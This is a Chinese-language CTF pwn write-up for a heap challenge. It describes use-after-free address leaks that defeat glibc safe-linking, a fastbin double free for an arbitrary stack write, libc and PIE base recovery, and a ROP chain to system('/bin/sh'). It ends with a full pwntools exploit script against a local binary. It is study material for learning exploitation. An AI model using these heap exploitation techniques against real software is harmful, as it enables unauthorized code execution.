1
2
3
4
5
6
[*] '/home/ubuntu/511/pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

heap: This command only works with libc debug symbols.

https://blog.csdn.net/m0_51251108/article/details/127098744

符号表 not striped

name那里可以输出栈上的数据

解题思路

堆地址泄露(利用UAF)

1
2
3
4
5
6
7
8
9
10
11
12
delete(8)
show(8)
p.recvuntil("Name: ")
sec=u64(p.recv(8))
delete(9)
show(9)
p.recvuntil("Name: ")
heap_sec=u64(p.recv(8))
heap_addr=heap_sec^sec
print(hex(heap_addr))
stack_addr=u64(p.recv(8))
print(hex(stack_addr))

​ sec和heap_sec异或得到堆地址,那么它们是什么呢?

1
2
3
4
5
6
7
8
0x560399e28450  0x0000000000000000      0x0000000000000041      ........A.......<-- fastbins[0x40][1]
0x560399e28460 0x0000000560399e28 0x00007ffef806f270 (.9`....p.......
0x560399e28470 0x0000000000000000 0x00007ffef806f3b8 ................
0x560399e28480 0x0000000064646464 0x0000000000000000 dddd............
0x560399e28490 0x0000000000000000 0x0000000000000041 ........A.......<-- fastbins[0x40][0]
0x560399e284a0 0x00005606f9db1a78 0x00007ffef806f270 x....V..p.......
0x560399e284b0 0x0000000000000000 0x00007ffef806f3b8 ................
0x560399e284c0 0x0000000064646464 0x0000000000000000

​ 0x0000000560399e28 ^ 0x00005606f9db1a78 = 0x560399e28450

需要泄露两次,两个相邻的fastbin,泄露它们fd位置的值,然后异或就得到了前面那个fastbin的地址了

https://bbs.kanxue.com/thread-272098.htm#msg_header_h2_2

泄露栈地址

​ 为什么bk这里存储着栈地址呢?

image-20230517124416111

​ 是在add的时候,放入的地址???

奇怪..一步一步调试的话,栈上数据就没有..不然就有…

image-20230517135521634

构造double free链,任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
delete(8)
.........
delte(9)
........
delete(8)
## 构成环了

victim=stack_addr-0x20 ##
print(hex(victim))
for i in range(7): ## 先使用tcachebin
add(i+1,b'aaa',0x8,b'dddd')
pay1=p64(sec^victim)
add(12,pay1,0x8,'\x00') ## 三个fastbin
add(13,pay1,0x8,'\x00')
add(14,pay1,0x8,'\x00')
add(15,b'ccc',0x8,b'\x00')
show(15)

​ victim就是要写入的地址,因为有异或机制,所以要和sec异或一下,再写入

image-20230517140406404

​ 为什么添加完三个fastbin,又会多了tcachebin… 斯….和tcachebin的机制有关…在分配第一个fastbin的时候,就给他们放到tcachebin中了…

栈地址怎么来的?

1
2
3
4
5
6
7
add(15,b'ccc',0x8,b'\x00')
show(15)
p.recvuntil("Name: ")
p.recv(8)
pie_base_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x1794
print('pie: '+hex(pie_base_addr))
print(hex(stack_addr))

-0x1794要根据具体版本变化,vmmap看到基址, 两个一减就得到了

image-20230517152151353

​ 这个地址是怎么来的呢?

找不到是谁打印出的pie: 0x55b9c409d794…

find 0x7ffc27616000 to 0x7ffc27805000,0x55b9c409d794

​ 下断点到show函数,一步步查看

image-20230517151004919

​ 是在这里打印出来的,可是为什么这里会存储着这个地址呢??

​ 在add中malloc分配空间的时候会分配到这附近..

image-20230517151632379

image-20230517152033215

glibc地址获取

1
2
3
4
5
6
7
8
for i in range(7):
add(i+30,b'/bin/sh\x00',0x3f8,b'dddd')
delete(31)
show(31)
p.recvuntil('Name: ')
p.recv(8)
lib_addr=u64(p.recv(6).ljust(8,b'\x00'))-96-0x1f6c60
print('libc: '+hex(lib_addr))

​ 分配的0x3f8再加上33 还是啥,大小肯定超了tcache的了,就直接进入unsortedbin,然后可以从这里泄露glibc的地址

image-20230517152943496

​ -96 再减去和glibc开头的差值,就可以得到glibc加载基址

image-20230517153205330

构造rop链子

​ 这里直接覆盖的返回地址,exit退出,就会进入rop链

1
2
3
4
5
6
7
8
9
10
11
12
13
libc = ELF("./libc.so.6")
system=lib_addr+libc.sym["system"] #0x4c330
bin_sh=lib_addr+0x1b61b4
print(hex(system))
print(hex(bin_sh))

ret=0x00000000000233d1+lib_addr
pop_rdi=0x00023b65+lib_addr
rop_chain=p64(ret)*0x10+p64(pop_rdi)+p64(bin_sh)+p64(system)
## edit
edit(15,rop_chain)
p.sendlineafter("> ", '5')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *

elf = "./pwn"

context.log_level= "debug"

p = process(elf)
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p)
def add(index, name, size,content):
p.sendlineafter('> ', '1')
p.sendlineafter('Index: ', str(index))
p.sendafter('Name: ', name)
p.sendlineafter('Description size: ', str(size))
p.sendafter('Description: ',content)

def edit(index, content):
p.sendlineafter('> ', '4')
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Description: ', content)


def show(index):
p.sendlineafter('> ', '3')
p.sendlineafter('Index: ', str(index))


def delete(index):
p.sendlineafter('> ', '2')
p.sendlineafter('Index: ', str(index))



## 观察怎么泄露的地址
add(0,b'test',0x28,b'ddd')
show(0)
recv = p.recv(0xe)
fake_stack_addr = u64(p.recv(8))
print(hex(fake_stack_addr))
fake_lib_addr = u64(p.recv(8))
print(hex(fake_lib_addr))




for i in range(7):
add(i+1,b'aaa',0x8,b'a')
add(8,b'aaa',0x8,b'dddd')
add(9,b'aaa',0x8,b'dddd')
add(10,b'aaa',0x8,b'dddd')
add(11,b'ddd',0x28,b'a')
for i in range(7):
delete(i+1)
delete(8)
show(8)
p.recvuntil("Name: ")
sec=u64(p.recv(8))
delete(9)
show(9)
p.recvuntil("Name: ")
heap_sec=u64(p.recv(8))
heap_addr=heap_sec^sec
print(hex(heap_addr))
stack_addr=u64(p.recv(8))
print(hex(stack_addr))

delete(8)
victim=stack_addr-0x20
print(hex(victim))
for i in range(7):
add(i+1,b'aaa',0x8,b'dddd')
pay1=p64(sec^victim)
add(12,pay1,0x8,'\x00')
add(13,pay1,0x8,'\x00')
add(14,pay1,0x8,'\x00')
add(15,b'ccc',0x8,b'\x00')
show(15)
p.recvuntil("Name: ")
p.recv(8)
pie_base_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x1794
print('pie: '+hex(pie_base_addr))
print(hex(stack_addr))
for i in range(7):
add(i+30,b'/bin/sh\x00',0x3f8,b'dddd')
delete(31)
show(31)
p.recvuntil('Name: ')
p.recv(8)
lib_addr=u64(p.recv(6).ljust(8,b'\x00'))-96-0x1f6c60
print('libc: '+hex(lib_addr))
#print(p.bases)
libc = ELF("./libc.so.6")
system=lib_addr+libc.sym["system"] #0x4c330
bin_sh=lib_addr+0x1b61b4
print(hex(system))
print(hex(bin_sh))

ret=0x00000000000233d1+lib_addr
pop_rdi=0x00023b65+lib_addr
rop_chain=p64(ret)*0x10+p64(pop_rdi)+p64(bin_sh)+p64(system)
## edit
edit(15,rop_chain)
p.sendlineafter("> ", '5')

p.interactive()